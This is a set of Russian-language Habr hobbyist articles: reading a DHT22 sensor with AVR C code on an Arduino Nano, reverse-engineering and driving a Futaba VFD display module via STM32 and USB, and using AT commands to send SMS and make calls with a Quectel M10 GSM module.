Тогда было решено подключить ардуинку к компьютеру по USB и передавать данные о температуре и влажности по UART. А значит нужна уже более навороченная Arduino Nano (у меня с МК ATMega328 на 16МГц). Нужно было заставить ее общаться компом, который работает под ОС Windows 7. На этом компе должна быть установлена серверная часть программы, которая должна получать по UART данные и оповещать все подключенные к ней клиентские модули, работающие где-то в локальной сети, о критических значениях температуры и влажности. На тот момент инструментами для написания программ под эту ОС я не располагал, поэтому пришлось в срочном порядке познакомиться с каким-либо популярным языком программирования, обладающим удобной средой написания ПО для Windows. Я остановился на C#. Прошивка для МК, собственно, писалась в AVR Studio 6 на С.
Итак, поскольку при реализации проекта я не нашел информации с примерами кода на C для датчика DHT22, то в этой статье решил заострить внимание на работе именно с ним. Так же в конце статьи вы найдете все ссылки на исходники и используемый инструментарий, для решения своей схожей задачи.
### Кратко о работе датчика DHT22.
| *Его основные параметры:* | |
| --- | --- |
| **Напряжение притания** | 3,3-6 В |
| **Возможности измерения** | Влажность 0-100%; температура от -40 до 80C |
| **Точность измерения** | Влажность +-2%(макс.+-5%); температура +-0,5C |
| **Длительность перида измерения** | Около 2 секунд |
Здесь отмечу, что в программе для МК я опрашиваю датчик примерно каждую секунду. У меня так работает. Если у вас с опросом начнутся проблемы, то начните с увеличения этого периода до 2х секунд.
*Распиновка и схема подключения из даташита младшего собрата:*
Линия данных датчика подключена через 4,7кОм резистор к питанию, значит, в случае если датчик молчит или сломан/отсутствует, то на линии будет логическая единица. Для получения от датчика ответа нужно прижать линию данных к земле на 18 мС.
После того как датчик ответил, он начинает передавать данные. Передача каждого бита начинается с низкого уровня длительностью 50 мкс.
Всего данных передается 40 бит или 5 байт. Данные передаются начиная со старшего бита старшего байта.
**Байт 5** — Старший байт значения влажности.
**Байт 4** — Младший байт значения влажности.
**Байт 3** — Старший байт значения температуры.
**Байт 2** — Младший байт значения температуры.
**Байт 1** — Контрольная сумма.
*Ну и схема устройства:*
К ноге D2 ардуины подключена шина данных датчика. К ноге D4 подключен светодиод питания. Кстати, если он мигает, значит датчик не прошел проверку при инициализации, проще говоря — не найден.
### Переходим к коду прошивки.
Сначала краткое описание модулей.
**UART\_ATMEGA328.h**
Это модуль с функциями для приема и передачи сообщений по UART. Кстати, в его составе есть функция `void send_int_Uart(int i)`. Она получает целое 2х байтовое знаковое число, преобразует в строку и передает его по UART. Не ищите где используется эта функция — в данном проекте она не пригодилась.
**DHT11-22\_def.h**
Содержит макросы настроек подключения датчика. Здесь указывается модель используемого датчика: `_DHT22` или его упрощенного варианта `_DHT11`. PORT, DDR и PIN к которым подключен датчик. И номер пина к которому подключена линия данных. Эти макросы используются в следующем модуле:
**DHT11-22.h**
Содержит функции для работы с датчиком DHT22 или DHT11.
*Код модуля DHT11-22\_def.h:*
```
#define _DHT22 /* Модель подключенного датчика. _DHT11 или _DHT22. */
#define _PORT_DHT PORTD
#define _DDR_DHT DDRD
#define _PIN_DHT PIND
#define _PINNUM_DHT 2 /* Нумерация пинов с 0 */
```
*Код модуля DHT11-22.h:*
```
#define F_CPU 16000000UL
#include "DHT11-22_def.h"
#define _MASK_DHT ( 0b00000001 << _PINNUM_DHT )
#define _PIN_DHT_GET ( (_PIN_DHT & _MASK_DHT)>>_PINNUM_DHT )
#define _PORT_DHT_SET(x) ( ((x)==0) ? (_PORT_DHT&= ~_MASK_DHT) : (_PORT_DHT|= _MASK_DHT) )
#define _DDR_DHT_SET(x) ( ((x)==0) ? ( _DDR_DHT&= ~_MASK_DHT) : ( _DDR_DHT|= _MASK_DHT) )
static unsigned char checkSum, packDHT[5]= {0,0,0,0,0},
dhtHighDuration=0, minLevel=0, maxLevel=0, dhtSplitLevel=0;
static float temperature, humidity;
float getTemp() { return temperature; }
float getHum() { return humidity; }
unsigned char getCheckSum() { return checkSum; }
unsigned char getMinLevel() {return minLevel; }
unsigned char getMaxLevel() {return maxLevel; }
unsigned char getDhtSplitLevel() {return dhtSplitLevel; }
static char initDHT() { // В случае ошибки инициации датчика возвращает этап на котором она произошла, иначе 0.
char dhtErr=0;
_DDR_DHT_SET(1); _PORT_DHT_SET(0);
_delay_ms(19);
asm("cli");
_DDR_DHT_SET(0); _PORT_DHT_SET(1);
_delay_us(10);
if (!_PIN_DHT_GET) dhtErr = 1;
_delay_us(22);
if ( (_PIN_DHT_GET)&&(!dhtErr) ) dhtErr = 2;
_delay_us(88);
if ( (!_PIN_DHT_GET)&&(!dhtErr) ) dhtErr = 3;
_delay_us(77);
if ( (_PIN_DHT_GET)&&(!dhtErr) ) dhtErr = 4;
return dhtErr;
}
static void DhtMinMaxCalc() { // Определяет максимальные и минимальньные длительности высокого уровня от датчика. Они нужны для последующего расчета dhtSplitLevel.
dhtHighDuration= 0; // Если переменную создавать здесь, то показания неверные и в протеусе значение переменной не дебажится.
while ( !_PIN_DHT_GET ) _delay_us(1);
while ( _PIN_DHT_GET ) {
_delay_us(1);
dhtHighDuration++;
}
if (minLevel > dhtHighDuration) minLevel= dhtHighDuration;
else if (maxLevel < dhtHighDuration) maxLevel= dhtHighDuration;
}
unsigned char calibrateDHT() { // Для вычисления dhtSplitLevel. При успешной калибровке возвращает 1, иначе 0.
if ( initDHT() ) { // Содержит asm("cli");
asm("sei");
return 0;
}
for ( char bit=0; bit < 40; bit++) DhtMinMaxCalc();
asm("sei");
dhtSplitLevel= (minLevel + maxLevel) / 2; // dhtSplitLevel - условное количество мкС, при удержании высокого уровня на пине данных датчика больше которых, считаем, что датчик передает 1.
return 1;
}
static char getDhtBit() { // Возвращает бит данных в зависимости от длительности высокого уровня на пине данных датчика.
dhtHighDuration= 0; // Если переменную создавать здесь, то показания неверные и в протеусе значение переменной не дебажится.
while ( !_PIN_DHT_GET ) _delay_us(1);
while ( _PIN_DHT_GET ) {
_delay_us(1);
dhtHighDuration++;
}
if ( dhtHighDuration < dhtSplitLevel ) return 0;
return 1;
}
//###############################################
#if defined _DHT11
static void calcResults() { // Получает из прочитанного пакета данных от датчика humidity, temperature, checkSum для DHT11.
temperature= packDHT[2];
humidity= packDHT[0];
checkSum= packDHT[4];
}
//###############################################
#elif defined _DHT22
static void calcResults() { // Получает из прочитанного пакета данных от датчика humidity, temperature, checkSum для DHT22.
temperature= packDHT[3]*0.1 + (packDHT[2] & 0b01111111)*25.6;
if (packDHT[2] & 0b10000000) temperature*= -1;
humidity= packDHT[1]*0.1 + packDHT[0]*25.6;
checkSum= packDHT[4];
}
#endif
//###############################################
unsigned char readDHT() { // Возращает 1, если чтение датчика прошло успешно, иначе 0.
if ( initDHT() ) { // Содержит asm("cli");
asm("sei");
return 0;
}
for (unsigned char byte=0; byte < 5; byte++) { // Начало считывания пакета данных от датчика.
packDHT[byte] = 0;
for ( char bit=0; bit < 8; bit++)
packDHT[byte]= (packDHT[byte] << 1) | getDhtBit();
}
asm("sei");
calcResults();
return 1;
}
```
Комментарии по коду.
**1.** Анализ контрольной суммы добавлять не стал, хотя и сохраняю ее в переменной `checkSum`.
**2.** При подсчете длительности периода высокого уровня на шине данных для определения значения получаемого бита решил обойтись без использования таймера МК поскольку посчитал это допустимым упрощением для данного проекта. Но добавил функцию `unsigned char calibrateDHT()`, в которой подсчитывается переменная `dhtSplitLevel` содержащая среднеарифметическое значение между самым коротким периодом высокого уровня (при передаче бита 0) и самым длинным периодом высокого уровня (при передаче бита 1). Далее эта переменная используется для определения значений битов данных при последующих обращениях к датчику.
**3.** Для использования в проекте более дешевого датчика DHT11, нужно указать его в модуле `DHT11-22_def.h` вместо DHT22. Правда, работу с ним протестировать не удалось по причине его отсутствия.
*Пример использования:*
```
int main() {
// ...
char st[6];
_delay_ms(999);
calibrateDHT();
while(1) {
_delay_ms(999);
if ( !readDHT() ) continue;
itoa( getTemp(), st, 10); // Запись в переменную st целой части значения температуры.
// Здесь передаем переменную st по UART, на LCD или еще что-то делаем...
itoa( getHum(), st, 10); // Запись в переменную st целой части значения влажности.
// Здесь передаем переменную st по UART, на LCD или еще что-то делаем...
}
}
```
*Ну и напоследок фото и видео работы получившегося устройства:*
---
### Ресурсы:
1. Для записи .hex-а в ардуино использовал программу [Xloader v1.00](http://russemotto.com/xloader/)
2. Для приема и передачи сообщений по UART во время отладки и тестирования использовал программу [Terminal v1.9b by Br@y++](http://www.hw-group.com/supp_rem_serial_en.html)
3. Готовые прошивка для Arduino Nano (ATMega328, 16МГц), сервер и клиент под Windows, а так же печатка платы ([ссылка](https://github.com/2Ah/AlarmDHT-ready))
4. [Код прошивки](https://github.com/2Ah/AlarmDHT-firmware)
5. [Код сервера](https://github.com/2Ah/AlarmDHT-WinServer)
6. [Код клиента](https://github.com/2Ah/AlarmDHT-WinClient) | https://habr.com/ru/post/309994/ | null | ru | null |
# USB монитор из Futaba GP1160A02A
Когда-то вакуумно-люминесцентные индикаторы создавались как альтернатива газоразрядным, а также в целях загрузить производство электроламповых заводов, так как в те времена лампы уже начали терять актуальность и на их место пришли полупроводники.
Прожив долгую 60-летнюю историю, ВЛИ уходят в небытие — оставшиеся в живых производители уже сообщили о том, что жизненный цикл этих приборов окончен и пора переходить на новые технологии.
Но ни один современный дисплей не способен передать это завораживающее бирюзовое сияние возбужденного люминофора, находящегося под воздействием электронной бомбардировки.
Про один из таких дисплеев, изготовленный по этой технологии и будет рассказано в этой статье, а именно про дисплейный модуль Futaba GP1160A02A.
Эта статья не будет про подключение этого дисплея к какой-нибудь “ардуине” стандартными способами. Это слишком просто и скучно. Речь пойдет про обход ограничений, наложенных производителем, и попытки выжать из этого дисплея всё, что позволяет технология.
---
Посмотрим, что представляет из себя и что может этот дисплейный модуль "из коробки".
На плате модуле располагается графический вакуумно-люминесцентный индикатор (далее ВЛИ) разрешением 256х64 пикселей, достаточно крупный по размерам — отображаемая область 163.69x38.25 мм. Общий размер модуля 220x60 мм, вес 240 гр.
Модуль управляется по RS-232 при помощи ESC-последовательностей. Может работать как в графическом, так и в текстовом режимах. Имеет встроенные шрифты разных размеров и начертаний, поддерживает загрузку пользовательских символов. Питается от 5 Вольт, так как на плате распаян преобразователь, который формирует все напряжения, необходимые для работы ВЛИ.
И казалось бы, что всё замечательно, но у этого модуля есть фатальный недостаток – максимальная скорость передачи данных по RS-232 составляет всего 38400 бит/с.
Это означает, что если мы заходим максимально быстро обновлять картинку на дисплее, то максимальный теоретический фреймрейт составит всего 2.5 кадра в секунду. А в реальности еще меньше, так как контроллеру требуется время на то, чтобы обработать принятые данные.
Конечно, для отображения статической графики и текста этого более чем достаточно. Но если захотеть крутить видео на этом дисплее или отображать графику с несколькими оттенками цвета, то этого явно маловато будет. И хотелось бы каким-нибудь образом обойти это ограничение.
Я сразу отверг идею написать прошивку для установленного на плате модуля микроконтроллера NEC upd70f3214gc, так как не знаком с этими контроллерами. А изучать семейство контроллеров V850ES/KG1 ради одного проекта не очень хочется.
Поэтому наиболее логично будет попробовать порулить ВЛИ напрямую, при помощи какого-нибудь AVR или STM32 микроконтроллера.
Определение распиновки ВЛИ
--------------------------
У установленного на этом модуле ВЛИ нет торчащих наружу выводов сеток и анодов. Вместо этого внутри ВЛИ есть чип, который выполняет всю низкоуровневую работу (технология называется chip-in-glass, сокращенно **CIG**).
Задача состоит в том, чтобы разобраться с распиновкой дисплея, понять в каком виде данные посылаются в чип, отрезать родной микроконтроллер модуля от ВЛИ, подключить свой и написать для него программу.
Вся сложность заключается в том, что на момент, когда я делал всё, что написано в этой статье, у меня не было в наличии даташита на чип дисплея. Поэтому всё пришлось делать буквально методом тыка при помощи осциллографа и логического анализатора.
Управляется и питается дисплей через две группы контактов – 16 слева и 15 справа (я не беру в расчет самые крайние выводы, так как понятно, что это выводы нитей накала).
Первым делом необходимо определить какие контакты дисплея отвечают за питание, а какие за управление и какие на них уровни сигнала.
Вооружившись осциллографом, смотрим уровни сигналов на выводах дисплея:
Если внимательно посмотреть на плату модуля, то можно увидеть, что некоторые линии между двумя группами контактов соединены.
Теперь, вооружившись мультиметром, прозваниваем линии между собой. За одно ещё прозваниваем все линии к земле и к питанию +5 В на предмет подтяжек, а также прозваниваем линии между дисплеем и микроконтроллером. Получаем следующее:
Итого всего для управления чипом дисплея задействовано 8 уникальных линий, которые подключены к микроконтроллеру модуля через 100-омные резисторы.
Так как уровни управляющих сигналов 5 В, то теперь можно смело подцепить логический анализатор. Видим следующую картину:
Первые три линии представляют собой нечто очень похожее на SPI шину: канал 0 – Линия данных, канал 1 – Линия тактирования, канал 2 – Выбор ведомого (chip select).
Пробуем очистить весь дисплей:
Линия Data ушла вниз. Теперь попробуем заполнить весь дисплей:
Теперь линия Data ушла вверх. Причём между этими прыжками вверх/вниз ни шине больше ничего нет. Поэтому можно смело предположить, что чип получает графические данные в сыром виде, без каких бы то ни было управляющих команд. Также это подтверждает тот факт, что при подаче питания на модуль в дисплей сразу грузятся пакеты с графическими данными.
Путём зажигания отдельных пикселей, строк и столбцов определяем соответствие битов пакета данных, полученного по SPI, с тем, что отображается на дисплее.
СпойлерПрям буквально — зажигаем, к примеру, левый верхний пиксель и смотрим какой бит в пакете принял состояние “1”. Проделываем это с тремя остальными углами. Потом зажигаем строки, потом столбы и так далее. Процесс чем-то напоминает разгадывание нонограмм (японских головоломок), только в обратном порядке.
Следующие две линии – включение выходов анодных регистров, а именно сигналы BLK1 и BLK2. Эти сигналы практически в противофазе, причем не допускается, чтобы оба сигнала были низкого уровня (об этом ниже):
И последние три линии – это входы сдвигового регистра сеток, я могу сказать это основываясь на своём личном опыте работы с подобными дисплеями. Единственный нюанс – в этом регистре постоянно находятся два бита (т.е. постоянно включены две сетки):
Таким образом, получаем следующую распиновку дисплея:
Краткое описание работы CIG
---------------------------
Чип дисплея содержит четыре сдвиговых регистра.
Два 128-битных – отвечают за аноды (сегменты). Два 64-битных – отвечают за сетки.
Правда, если посмотреть на структурную схему чипа в даташите, то можно заметить, что сеточных регистров 4 штуки (DRV1, DRV3, DRV4, DRV6). Но к одной группе сеток параллельно подключено два регистра, которые принимают на вход (и соответственно выдают) одинаковые сигналы.
**Анодные регистры** на плате модулясоединены параллельно (линии CLK, DATA и СS). Один регистр отвечает за отображение сегментов в столбцах **DA**, другой в столбцах **BC**. Включение выходов нужного регистра осуществляется подачей низкого уровня на вход BLK1 или BLK2.
**ВНИМАНИЕ! Одновременная подача на входы BLK сигналов низкого уровня не допускается – дисплей может выйти из строя.**
Каждый 128-битный пакет содержит данные для отображения двух столбцов пикселей. Заполнение столбцов идет слева-направо снизу-вверх. Старший бит пакета соответствует левому нижнему пикселю, младший правому верхнему.
Регистры управляются по шине SPI, режим работы: CPOL=1, СPHA=1. Частота тактирования: в оригинале 1.6 МГц, максимально допустимая по даташиту 5 МГц. Я же запускал с частотой 10.5 МГц и всё прекрасно работало. Единственное условие для работы на такой частоте – чипу дисплея требуются уровни 5 В, поэтому для микроконтроллеров STM32 нужно использовать преобразователь (я использую 74HCT245).
**Сеточные регистры** соединяются последовательно. В принципе, можно считать, что это один 128-битный регистр, так как на плате модуля выход первого регистра соединён со входом второго и больше никуда не подключен.
Особенность конструкции дисплея в том, что хоть в нём и 128 сеток (одна сетка расположена над двумя столбцами пикселей), но для правильного отображения информации и для избежания засветок/подсветок одновременно должны быть включены две соседние сетки.
Включение выходов сеточного регистра осуществляется подачей низкого уровня на вход GBLK. Через него же осуществляется управление яркостью дисплея.
**ВНИМАНИЕ! Ни при каких обстоятельствах не оставляйте вывод GBLK свободно висящим или постоянно подтянутым к низкому уровню – дисплей может выйти из строя.**
Сканирование (развёртка) идёт по столбцам слева-направо. Первый пакет содержит данные для второго столбца пикселей (сегменты **BC** сеток G1 и G2).
Анимация, упрощённо показывающая работу развёртки:
**ВНИМАНИЕ! Ни при каких обстоятельствах не останавливайте развёртку при включенном питании – дисплей может выйти из строя.**
К чему я пишу все эти предупрежденияЕсли что-то пойдет не так, замешкаться хотя бы на пару секунд и не отключить питание от дисплея, то на люминофоре можно получить вот такие неприятные выжженные пятна:
А если ещё немного замешкаться, то сетка и люминофор скорее всего прогорят до дыр. У меня была ситуация, когда развёртка остановилась, а питание было подано. И в том месте, где остановилась развёртка, через несколько секунд сетка раскалилась *до красна*. После этого дисплей практически перестал работать — при включении было еле-еле заметное свечение люминофора. Я уже было списал этот дисплей в утиль. Но к моему удивлению, через несколько дней дисплей ожил, правда немного потерял в яркости.
Поэтому любые подключения/отключения разъемов и программирование микроконтроллера должны быть при отключенном питании дисплея 5 В. Включение дисплея должно быть в последовательности: сначала подаём питание на МК, потом, через пару секунд на дисплей. Выключение в обратном порядке. И нужно быть готовым к тому, что что-то может пойти не так и питание дисплея нужно будет быстро отключить.
Так же я крайне не рекомендую играться с мощными магнитами с этими дисплеями. В виду того, что нити накала длинные, сетки длинные, а расстояние между нитями и сетками маленькое, при поднесении магнита сетки может просто выгнуть и замкнуть на нити.
Подключение к МК
----------------
В первую очередь необходимо отключить распаянный на плате модуля микроконтроллер от дисплея. Выпаивать его для этого не нужно, достаточно лишь снять две резисторные сборки под позиционными номерами **RA3** и **RA4**:
Теперь нужно каким-нибудь образом подключиться к контактам дисплея. Сначала я делал это при помощи крючков от логического анализатора, но это крайне ненадёжный способ, так как эти дурацкие крючки очень любят слетать в самый неподходящий момент. Чтобы не мучиться, я напрямую припаял к контактам дисплея разъем типа **L-KLS1-XL1-2.00-10-R (MW-10MR)**. Получилось вполне себе прочно и надёжно. По крайней мере, за полтора года разъем не отвалился:
Проводок МГТФ, идущий от 5 пина разъема (если считать справа налево) — линия BLK2. Чтобы не тянуть провод через всю плату модуля ко второй группе контактов, я припаял его к ближайшему переходному отверстию этой линии:
Осталось самое простое – написать программу для МК.
Для управления дисплеем я буду использовать микроконтроллер **STM32F401CCU6**. Сначала нужно просто проверить, будет ли оно работать вообще. Поэтому для первых тестов я буду просто выводить какой-нибудь простенький графический паттерн, например “шашечку”. Также я пока не буду заморачиваться с точным соответствием таймингов, главное соблюсти всю последовательность действий и обеспечить сколько-нибудь адекватную скорость развёртки.
Последовательность действий следующая:
* Загружаем два бита в регистр сеток
* Загружаем 16 байт в регистр анодов. Так как мне нужна “шашечка”, то это просто 16 одинаковых байт 0x99
* Включаем на некоторое время регистр сеток и второй регистр анодов (BLK2)
* Выключаем все регистры
* Сдвигаем данные в регистре сеток на один бит
* Опять загружаем 16 байт 0x99 в регистр анодов
* Включаем на некоторое время регистр сеток и первый регистр анодов (BLK1)
И так 128 раз.
Как ни странно, всё заработало буквально с первого раза:
Но отображать статическую графику дисплей мог и из коробки. Попробую отобразить какую-нибудь анимацию. Графические данные буду передавать с ПК, на нём же буду делать все преобразования из картинки в готовый массив, который можно сразу лить в анодные регистры дисплея:
slНу а так как дисплей теперь способен отображать анимацию с (относительно) высоким FPS, то значит на нём можно запустить “Bad apple!!”:
Про формирование изображения с несколькими оттенками цвета на монохромных дисплеях я писал в статье про ИМГ-1-02. Здесь используется тот же самый принцип. На дисплее отображается 8 оттенков цвета, поэтому частота развёртки дисплея должна быть в 7 раз выше исходной. Т.е. для того, чтобы глаз или камера увидели 8 оттенков при 60 кадрах в сек. частота развёртки должна быть 420 Гц.
Кроме того это требует стабильной передачи данных с ПК со скоростью почти 3 Мбит/с (256x64x3x60 = 2949120 бит/с), а в режиме с двумя дисплеями 6 Мбит/с. Большинство USB-UART адаптеров уже не могут работать с такой скоростью, поэтому передача данных с ПК в МК теперь осуществляется посредством USB.
На микроконтроллере реализовано полноценное WinUSB WCID устройство (это не эрзац USB CDC VCP), которое не требует драйверов. Работоспособность проверена в Windows 7/10 и Linux Mint 20.3.
Со стороны ПК используется библиотека libusb-1.0, а со стороны МК USB-стек libopencm3. Для передачи графических данных с ПК в МК используется одна конечная точка типа Bulk. Регулировка яркости дисплея осуществляется при помощи vendor-specific реквеста в нулевую конечную точку (*bmRequestType* = *0x41).*
Dual Mode
---------
Это вариант исполнения, при котором к микроконтроллеру одновременно подключено два дисплея.
Сначала я пытался подключить оба дисплея к одной шине SPI и по очереди загружать в них данные, выбирая нужный дисплей при помощи chip select (все остальные линии при этом были запараллелены).
Но то ли я что-то не так делал, то ли не укладывался в тайминги, то ли дисплеи некорректно реагировали на уровень сигнала на линии CS — адекватной работоспособности мне так и не удалось получить. Либо дисплеи вообще ничего не отображали, либо отображали мусор. Хотя по записям с логанализатора всё было в полном порядке.
В итоге я сделал проще — один дисплей подключил к шине SPI1, а второй к шине SPI2. И так как в микроконтроллере STM32F401CCU6 эти шины привязаны к разным контроллерам DMA, то у меня появилась возможность загружать данные не по очереди, а параллельно, со скоростью 10.5 МГц.
Теперь можно поиграть в Doom 2:
Понятно, что практической пользы от такого режима нет, но выглядит это очень необычно. Особенно мне нравится некое подобие эффекта параллакса, возникающего из-за смещения дисплеев относительно друг друга.
Монитор ресурсов
----------------
В качестве демонстрационного проекта я сделал монитор ресурсов компьютера, который отображает загрузку/температуру/частоту CPU/GPU, использование RAM/VRAM, и тд. и тп.
Так как в Python под Windows нет нормальных библиотек для мониторинга ресурсов, то для получения информации с датчиков я использую стороннее ПО, а именно MSI Afterburner. Особенность этой утилиты в том, что она выдаёт информацию со всех датчиков в область памяти под названием Shared Memory. Данные хранятся в очень удобном формате в виде структур.
Первые 32 байта — структура заголовка со следующими полями:
```
struct MAHM_SHARED_MEMORY_HEADER {
unsigned int signature; // Сигнатура "MHAM". Именно так наоборот.
unsigned int version; // Версия ПО
unsigned int headerSize; // Размер структуры заголовка в байтах
unsigned int entryCount; // Количество структур датчиков
unsigned int entrySize; // Размер одной структуры датчика в байтах
int time; // Время/дата в формате unix time stamp
unsigned int gpuCount; // Количество структур GPU
unsigned int gpuEntrySize; // Размер одной структуры GPU в байтах
};
```
Далее идут структуры, описывающие каждый датчик (Entry):
```
struct MAHM_SHARED_MEMORY_ENTRY {
char name[260]; // Имя датчика
char units[260]; // Единица измерения датчика
char localName[260]; // Локализованное имя датчика (имя датчика на выбраном языке интенрфейса MSI AB)
char localUnits[260]; // Локализованная единица измерения датчика
char format[260]; // Формат (в большинстве случаев %.0f)
float data; // Значение датчика
float minLimit; // Минимальное значение датчика
float maxLimit; // Максимальное значение датчика
unsigned int flags; // Флаги (1 - датчик отображается в OSD, 2 - датчик отображается на Logitech LCD, 4 - датчик отображается в системном трее)
unsigned int gpu; // Номер GPU, к которому относится датчик
unsigned int srcid; // ID GPU, к которому относится датчик
};
```
И в конце располагаются структуры, описывающие каждый GPU (если их несколько):
```
struct MAHM_SHARED_MEMORY_GPU_ENTRY {
char gpuId[260]; // Имя GPU в формате PCI\Ven_xxxx&Dev_xxxx
char gpuFamily[260]; // Модель чипа GPU (например TU106)
char gpuDevice[260]; // Модель видеокарты (например NVIDIA GeForce RTX 2060 Super)
char gpuDriver[260]; // Версия видеодрайвера
char gpuBIOS[260]; // Версия BIOS GPU
unsigned int gpuMemAmount; // Объем памяти GPU в Кб
};
```
Огромный плюс в том, что размер полей структур фиксированный, поэтому можно один раз прочитать заголовок и далее считывать показания с датчиков просто по смещению.
GUI реализован на прекрасном в плане возможностей и скорости работы, но ужасном в плане документации dearpygui. Есть возможность отображения двух графиков с любых датчиков, а также четырех датчиков в формате текст/горизонтальная гистограмма.
Графика отрисовывается при помощи OpenCV. Но так как в этой библиотеке функции отрисовки текста поддерживают только лютые ШГ под названием HERSHEY, то пришлось написать простенький знакогенератор с поддержкой шрифтов 5x7, 8x12 (олдскульный шрифт из MS-DOS 6, с полной поддержкой кодовой страницы CP1251) и 14x28 (я уже не помню какой шрифт брал за основу). Шрифты 5x7 и 8x12 поддерживают кириллицу, правда в текстовых полях GUI она может отображаться некорректно.
Результат работы программы выглядит так:
При желании количество и расположение графиков и сенсоров можно менять. Если вы, конечно, разберётесь в моём коде.
Заключение
----------
Конечно, можно сказать, что практического смысла в трансляции области экрана на такой дисплей не много. Но следует понимать, что это всего лишь демонстрация технических возможностей, а не какой-то прикладной проект.
Все подобные дисплеи (VFD с CIG) работают по одному и тому же принципу, разница лишь в разрешении, в количестве сеток и в количестве групп сегментов.
Поэтому я надеюсь, что описанная в этой статье процедура определения распиновки, принципа работы и запуска такого дисплея в нестандартном режиме поможет кому-то реализовать свои интересные проекты не только с таким же дисплеем, но и со многими подобными.
Благодарю за внимание. С радостью отвечу в комментариях на все ваши вопросы, мысли, идеи и предложения.
**Ссылки**
[Репозиторий проекта](https://github.com/iiiytn1k/Futaba_GP1160A)
[Даташит на модуль Futaba GP1160A02A](https://drive.google.com/file/d/1QNiJgS1HvPm1EsE7q9DTeu8UQaYPqzj6/view?usp=sharing)
[Даташит на дисплей Futaba GP1160AI](https://drive.google.com/file/d/1sOqzbvRTYMqEifbONbMpwJkFPG4Bj00U) | https://habr.com/ru/post/706130/ | null | ru | null |
# Мобильный телефон своими руками. Часть 2
В [первой части](http://habrahabr.ru/post/174783/) мы рассмотрели «железную» часть проекта, в этой части мы приступим к экспериментам с устройством.
Модуль M10-TE-A, основа нашего телефонного аппарата.
##### Приступаем к работе
Итак, подключаем устройство к COM-порту компьютера (я воспользовался для этого преходником COM-USB). Запускаем терминал (можно стандартный терминал Windows, но я пользуюсь программой Putty), подаем питание на устройство. Нажимаем кнопку включения питания модуля, светодиод состояния сети начинает часто мигать.
По периоду мигания светодиода можно различать состояния устройства:
светодиод выключен — модуль не работает
64ms on/800ms off — сеть не найдена
64ms on/2000ms off — сеть найдена
64ms on/600ms off — обмен по GPRS
Вводим в терминал символы «AT» до тех пор, пока не получим ответ. Это нужно для того, чтобы модуль автоматически определил скорость обмена. Нажимаем Enter, получаем ответ:
+CME ERROR: 3
Теперь модуль готов к приему команд.
Несмотря на то, что пока сеть не найдена, уже можно проверить работу некоторых AT-команд. Мы рассмотрим работу только некоторых, наиболее интересных команд, полный их список приведен в документации на модуль.
Обратите внимание, что некоторые команды заканчиваются знаком вопроса, некоторые — нет. Их нужно вводить в точности так, как они приведены здесь.
Также для большей компактности текста из ответов модуля удалены пустые строки.
Итак,
##### Первые шаги
Информация о производителе модуля:
```
AT+GMI
//Ответ:
Quectel_Ltd
Quectel_M10
Revision: MTK 0828
OK
```
Идентификация модуля:
```
AT+GMM
//Ответ:
Quectel_M10
OK
```
Ревизия модуля и версия софта:
```
AT+GMR
//Ответ:
Revision: M10BR06A06N32
OK
```
Глобальный идентификатор:
```
AT+GOI
//Ответ:
M10
OK
```
Получить IMEI:
```
AT+GSN
//Ответ:
xxxxxxxxxxxxxxx //15-и значный номер
OK
```
Проверка состояния сети:
```
AT+CREG?
//Ответ:
+CREG: 0,2
OK
```
здесь «2» означает, что устройство не нашло сеть, но находится в состоянии поиска.
Также мы можем узнать о наличии SIM-карты:
```
AT+QSIMDET?
//Ответ:
+QSIMDET: 0,0
OK
```
Первый ноль означает, что режим детектирования карт выключен. Попробуем включить режим детектирования наличия SIM-карты:
```
AT+QSIMDET=1
//Ответ: (SIM-карта не вставлена)
+CME ERROR:10
OK
//Ответ: (SIM-карта вставлена)
+CME ERROR:11
OK
```
Ошибка 11 означает, что не введён PIN-код.
Команда выключения модуля:
```
AT+QPOWD=1
//Ответ:
NORMAL POWER DOWN
```
Снова включаем модуль кнопкой и двигаемся дальше. Теперь можно ввести PIN-код (если SIM-карта того требует, конечно).
Ввод PIN-кода:
```
AT+CPIN=XXXX (PIN-код)
//Ответ:
+CPIN: READY
OK
Call Ready
+CMTI: "SM",3
```
Последняя строка означает, что нам пришли SMS-ки!
Сейчас можно посмотреть, к какому оператору вы подключены:
```
AT+QSPN?
//Ответ:
+QSPN: "MegaFon",0
OK
```
Проверяем качество сигнала:
```
AT+CSQ
//Ответ:
+CSQ:18,0
OK
```
Первое число означает уровень сигнала: 0 соответствует -113dBm или меньшему уровню, 31 соответствует уровню -51dBm или больше. Второе число обозначает интенсивность ошибочных бит в канале (от 0 до 7), где 0 соответствует наилучшему значению.
Переходим к более интересной части.
##### Отправка SMS
Отправим на наше устройство SMS с текстом «Hello world». В окне терминала появляется строка:
```
+CMTI: "SM",6
```
Это означает, что у нас целых 6 SMS.
Чтение SMS осуществляется командой
```
AT+CMGR=6
```
, где 6 — индекс SMS-сообщения в памяти. В ответ получаем длинную строку цифр. Её можно расшифровать любым онлайн-декодером SMS PDU (Protocol Data Unit). Для того, чтобы получать и отправлять SMS в текстовом виде, установим текстовый режим SMS:
```
AT+CMGF=1
//Ответ:
OK
```
Теперь повторим команду AT+CMGR=6, (где 6 — номер сообщения в памяти, вы должны ввести нужное вам значение), и видим сообщение в удобочитаемой форме:
```
+CMGR: "REC READ","xxxxxxxxxxxx","","2013/03/29 21:15:14+24"
Hello world
OK
```
Теперь попробуем отправить SMS с устройства:
```
AT+CMGS="+7xxxxxxxxxx" //номер телефона в кавычках
```
После ввода команды модуль переходит в режим ввода текста. Вводим «Hello world» и нажимаем Ctrl-Z для выхода из режима ввода текста. Сообщение отправлено:
```
+CMGS:11 //11 - номер SMS
```
##### Звонки
Позвоним на устройство. Слышим рингтон, в терминале появляется строка RING.
Снять трубку:
```
ATA
```
Положить трубку:
```
ATH
```
Позвоним с устройства:
```
ATDxxxxxxxxxxxx //номер вводится без пробела и кавычек
```
Для того, чтобы разговаривать через гарнитуру, переключаем устройство на второй набор аудиовходов/выходов:
```
AT+QAUDCH=1
```
Проверяем… Да, разговаривать вполне можно!
##### Модем
Разумеется, никакой Plug'n'Play работать не будет, поэтому модем в системе Windows придётся устанавливать руками. Приведем пример (Windows7 Домашняя Расширенная). Заходим в Диспетчер устройств/Действие/Установить старое устройство/Далее/Установка оборудования, выбранного из списка вручную/Далее/Модемы/Не определять тип модема (выбор из списка)/Далее/Стандартный модем 56000 bps/Далее.
Выбираем COM-порт, нажимаем Далее/Готово.
Теперь находим в Диспетчере Устройств наш модем, открываем Свойства/Диагностика/Опросить модем.
Мы должны увидеть примерно следующее:
